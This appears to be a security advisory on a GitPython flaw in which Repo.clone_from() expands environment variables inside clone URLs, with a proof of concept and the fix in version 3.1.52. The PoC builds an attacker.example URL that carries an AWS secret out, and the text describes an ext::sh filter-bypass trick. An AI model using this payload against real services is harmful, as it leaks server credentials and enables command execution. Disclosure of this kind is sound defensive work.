high · 7.5Jul 21, 2026

GitPython: Environment-Variable Exfiltration via Repo.clone_from() URL

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

GitPython expands shell environment variables inside attacker-supplied clone URLs before passing them to git, letting an untrusted URL silently leak server secrets like AWS keys or GitHub tokens over

Packagegitpython
Ecosystempip
Affected<= 3.1.51
Fixed in3.1.52

The problem

Any application that calls Repo.clone_from() with a user-supplied URL is affected. Git.polish_url() unconditionally calls os.path.expandvars() on the URL on every non-Cygwin platform, substituting $NAME and ${NAME} tokens with live process environment variables.

The expanded URL, now containing the secret in plaintext, is handed directly to the git clone subprocess. Git issues a DNS lookup and HTTP request to the attacker-named host, transmitting the secret in the request path. The clone fails, but the secret has already left the server.

Proof of concept

A working proof-of-concept for this issue in gitpython, with the exact payload below.

python
import os
from git import Git, Repo
import tempfile

os.environ["AWS_SECRET_ACCESS_KEY"] = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

# Layer 1: show expansion in polish_url directly
attacker_url = "https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git"
polished = Git.polish_url(attacker_url)
print(polished)
# => https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git

# Layer 2: full clone path -- git receives the expanded URL
dest = tempfile.mkdtemp()
try:
    Repo.clone_from(attacker_url, dest + "/out")
except Exception:
    pass  # clone fails, but git already sent the DNS/HTTP request with the secret

The root cause is CWE-526 / CWE-200: polish_url() was written to normalise local paths (Cygwin conversion, tilde expansion, backslash fixing) but was applied indiscriminately to remote URLs with no scheme check.

The unsafe-protocol filter in _clone() runs on the raw URL before polish_url() is called, so the expansion also creates a filter-bypass path: setting an env var to ext::sh -c '...' and submitting $VARNAME as the URL passes the raw check but executes a remote helper after expansion.

PR #2172 (commit 8ac5a30) fixed this by removing the os.path.expandvars() and os.path.expanduser() calls from polish_url() for remote URLs, preserving literal clone URLs exactly as supplied.

The fix

Upgrade to gitpython >= 3.1.52. The patch (PR #2172, commit 8ac5a30519b6f4af85398b9b9d7064ff4d452da2) removes os.path.expandvars() and os.path.expanduser() from Git.polish_url() for remote URLs. If you cannot upgrade immediately, sanitise clone URLs before passing them to Repo.clone_from() by rejecting any URL containing $ or % characters.

Reporter not attributed.

References: [1][2][3][4][5]

Related research